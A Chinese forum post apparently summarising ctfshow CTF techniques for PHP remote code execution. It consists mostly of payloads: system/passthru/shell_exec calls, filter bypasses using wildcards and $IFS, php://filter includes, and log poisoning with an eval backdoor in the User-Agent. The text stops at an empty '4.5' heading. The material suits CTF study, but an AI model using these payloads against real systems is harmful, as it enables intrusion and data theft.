登录
/
注册
首页
论坛
其它
首页
科技
业界
安全
程序
广播
Follow
园子
关于
博客
发1篇日志+1圆
记录
发1条记录+2圆币
发帖说明
登录
/
注册
账号
自动登录
找回密码
密码
登录
立即注册
搜索
搜索
关闭
CSDN热搜
程序园
精品问答
技术交流
资源下载
本版
帖子
用户
软件
问答
教程
代码
VIP申请
网盘
联系我们
道具
勋章
任务
设置
我的收藏
退出
腾讯QQ
微信登录
返回列表
首页
›
业界区
›
科技
›
RCE(远程代码执行漏洞)函数&命令&绕过总结 ...
RCE(远程代码执行漏洞)函数&命令&绕过总结
[ 复制链接 ]
站竣凰
前天 13:19
前言
RCE(Remote Code Execution,远程代码执行)漏洞是指攻击者通过漏洞,能够在目标系统上远程执行任意代码的安全漏洞。这种漏洞通常允许攻击者在受害主机上执行恶意命令,可能导致系统被完全控制,甚至可能被用来执行系统级操作,如删除文件、窃取敏感数据、安装恶意软件等。
本文基于ctfshow命令执行部分,整理了RCE常见函数与命令。文章很长,建议配合右下角目录食用。
一. 命令执行函数
以下函数都应当在eval中执行
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
复制代码
1.1 system函数命令执行
通过system函数执行操作系统的shell命令并输出结果
?c=system("ls");
?c=system("tac flag.php");
复制代码
1.2 passthru函数命令执行
passthru和system函数差不多
?c=passthru("tac flag.php");
复制代码
1.3 echo+反引号命令执行
用反引号执行shell命令,但是反引号执行完命令不会被输出,所以需要配合echo函数输出结果
?c=echo `ls`;
?c=echo `tac flag.php`;
复制代码
1.4 shell_exec函数命令执行
shell_exec函数和反引号类似,只执行但不返回,需要配合echo命令
?c=echo shell_exec("tac flag.php");
复制代码
二. 常用命令
以下命令应当在命令执行函数中执行
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c);
}else{
highlight_file(__FILE__);
}
复制代码
1.0 phpinfo()测试命令执行
phpinfo()命令被广泛应用于是否存在RCE命令执行漏洞的测试,例如检验是否成功写入了一句话木马。更加重要的是,phpinfo中disable_functions项会提供被禁用的命令,对进一步的漏洞利用具有重大帮助
?c=phpinfo();
复制代码
1.1 ls命令目录读取
?c=ls;
复制代码
1.2 cat命令文件读取
cat不会将结果数据到页面上,要看源代码
?c=cat flag.php
?c=/bin/cat flag.php
复制代码
1.3 tac命令文件读取
?c=tac flag.php
复制代码
1.4 vi命令文件读取
?c=vi flag.php
复制代码
1.5 uniq命令文件读取
uniq函数的作用是删除文件重复行并输出剩余内容,可以用于文件读取。与cat一样,结果在源代码
?c=uniq flag.php
复制代码
1.6 base64命令读取文件
base64命令可以读取flag.php并编码后输出
?c=base64 flag.php
?c=/bin/base64 flag.php
复制代码
1.7 grep命令文件读取
grep用于查询文件中包含某个特定字符串的行并输出
?c=grep 'fla' flag.php
复制代码
1.8 sort命令排序输出
sort是一个排序命令,sort filename会将文件内容进行
行间
的排序并输出文本
?c=sort flag.php
复制代码
1.9 mv命令文件重命名
mv函数的作用是对文件进行重命名,通过修改后缀名为txt,可以直接在网页中访问txt文件
?c=mv f?lg.php a.txt
复制代码
1.10 cp命令文件内容复制
用cp命令将flag的内容复制到1.txt上,然后访问/1.txt文件读取,注意使用反引号进行命令执行时,还是需要使用echo
?c=cp flag.php 1.txt
?c=echo `cp flag.php 1.txt`;
复制代码
三. 文件名过滤
3.1 *通配符绕过
?c=system("tac fl*g.php");
?c=system("tac fl*");
复制代码
3.2 ''空字符匹配绕过
?c=system("tac fla''g.php")
复制代码
空字符串
的可以用于绕过某些字符过滤,fla''g.php 等价于 flag.php
3.3 \匹配绕过
?c=system("tac fl\ag.php")
复制代码
\ 是
转义字符
,通常用于转义后面的字符,在某些情况下,fl\ag.php 可能会被解释为 flag.php,即通过插入转义字符来避免直接匹配敏感词或绕过过滤
3.4 ?占位绕过
?c=system("tac f???????")
复制代码
在很多操作系统的文件系统中,? 被用作通配符,代表
任何单个字符
。在 Linux 中,f??????? 可以匹配任何以 f 开头并包含 7 个任意字符的文件名
3.5 传参执行绕过
3.5.1 eval函数
eval函数执行任意php命令,这里利用get方式接受x参数,在传参中执行命令,而在这个get方式接受的参数并没有被过滤
?c=eval($_GET[x]);&x=system("ls");
?c=eval($_GET[x]);&x=system("tac flag.php");
复制代码
3.5.2 include函数
这个方法实际上是结合了文件包含漏洞,利用文件包含读取flag
?c=include($_GET[x]);&x=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
复制代码
如果(和;被过滤:
%0a 是 URL 编码中表示换行符(\n)的字符。从而使得 include 语句和 $_GET[1] 的处理被分开,从而绕过过滤机制,不过include函数这里不加(也是可以的
php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
?c=include%0a$_GET[1]?>&1=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
?c=include$_GET[1]?>&1=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
复制代码
3.5.3 日志包含
既然能够执行文件包含,那么也可以包含日志文件,日志文件中会记录你的UA头,假设我们在UA头中写入后门代码,然后我们包含日志文件,那么就能通过后门代码读取文件,日志包含可以参考我过去的文章。这里的日志目录需要多次尝试。用蚁剑连接http://576f2421-5308-45ef-9c2e-17454de9e09a.challenge.ctf.show/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log即可,注意要用http,浏览器上直接粘下来会由于SSL证书连不上
?c=include$_GET[1]?>&1=../../../../var/log/nginx/access.log
User-Agent:<?php eval($_POST['x']);?>
复制代码
3.6 变量作用域劫持攻击
?c=eval(array_pop(next(get_defined_vars())));
post:
1=system('tac fl*');
复制代码
3.6.1 函数解释
get_defined_vars()
获取当前作用域中所有定义的变量,返回一个数组,键是变量名,值是对应的变量值。
next(get_defined_vars())
将指针移动到数组中的下一个元素,并返回该元素的值。在这里,指针操作的对象是由 get_defined_vars() 返回的数组。
array_pop(...)
弹出数组的最后一个元素。这里作用在 next(get_defined_vars()) 的结果上,获取这个数组的最后一个变量值。
3.6.2 攻击流程
攻击者通过 POST 请求传入 1=system('tac fl*');,在服务器端该数据被
存储为变量
。
array_pop(next(get_defined_vars())) 获取该变量值,即 system('tac fl*')。
eval() 动态执行,触发 system('tac fl*'),攻击者能够获取敏感文件内容。
3.7 函数嵌套文件枚举
getcwd() 函数返回当前工作目录的路径。
scandir() 函数列出指定目录中的所有文件和目录,并返回一个包含文件和目录名称的数组。
show_source() 函数用于显示一个 PHP 文件的源代码
通过这三个函数,拼接出了flag.php文件,并使用show_source输出。这里的[2]要多尝试,flag文件的位置不一定会在第2位
?c=show_source(scandir(getcwd())[2]);
复制代码
3.8 函数嵌套文件读取
这个函数拼接实际上是上面的复杂版,适用于[]被过滤的情况,不能直接遍历scandir数组,只能使用指针操作来获取特定文件,由于前两个文件是.和..,因此用array_reverse函数从最后一个文件开始。由于指针操作函数的作用是返回值而非地址,因此不能嵌套使用,利用这种方式只能读取很有限的几个文件。
读取最后一个文件
?c=show_source(current(array_reverse(scandir(getcwd()))));
读取倒数第二个元素
?c=show_source(next(array_reverse(scandir(getcwd()))));
复制代码
还可以用另一个函数得到目录
?c=echo highlight_file(current(array_reverse(scandir(pos(localeconv())))));
?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
复制代码
四. 空格过滤
4.1 %20空格绕过
是 URL 编码的空格
?c=system("tac%20flag.php")
复制代码
4.2 %09空格绕过
%09 是 URL 编码中的水平制表符(Tab,ASCII 码为 9),它的作用是将 tac 后面的 fla* 和前面的部分隔开,通常它不会影响命令的执行,只是空格的替代。
?c=system("tac%09flag.php");
复制代码
4.3 $IFS$9空格绕过
$IFS 是一个特殊的环境变量,表示
Internal Field Separator(内部字段分隔符)
,默认情况下,$IFS 的值包含空格、制表符和换行符。$9是命令行参数的占位符之一,会被解析为空字符串。两者结合可以起到空格的作用
?c=system("tac$IFS$9flag.php");
复制代码
4.4 ${IFS}绕过
?c=system("tac${IFS}flag.php")
复制代码
4.5
回复
使用道具
举报
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
千斤顶
照妖镜
相关推荐
我的笔记
读算法简史:从美索不达米亚到人工智能时代04计算机之梦
数据结构-基本概念
可视化图解算法06:合并两个有序(排序)的链表
CTFHub技能树-信息泄露wp
CentOS Stream 10安装部署Zabbix 7.0网络监控平台和设备配置添加
《Fundamentals Of Computer Graphics》第二章 杂项数学 总结
k8s单机容器网络(20250216)
Golang+Gin实现api接口搭建
一个程序猿的 2024 总结《勇气》
3ds max的obj文件格式说明
游戏编程模式(28种编程模式)
刷题笔记Day29贪心算法part03
Kioptrix-Level Two
路径选择,调试运行,自定义图表ECharts,分页渲染
算法day02-数组篇(2)
Codeforces Round 1020 (Div. 3)
关于专项附加扣除和个税年度汇算的相关知识
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
回复
本版积分规则
回帖并转播
回帖后跳转到最后一页
浏览过的版块
安全
业界
代码
签约作者
程序园优秀签约作者
发帖
站竣凰
前天 13:19
关注
0
粉丝关注
16
主题发布
板块介绍填写区域,请于后台编辑
财富榜{圆}
敖可
9986
森萌黠
9994
里豳朝
9994
4
柴古香
9994
5
背竽
9994
6
猷咎
9992
7
凶契帽
9992
8
黎瑞芝
9992
9
松菊
9992
10
尝琨
9992
查看更多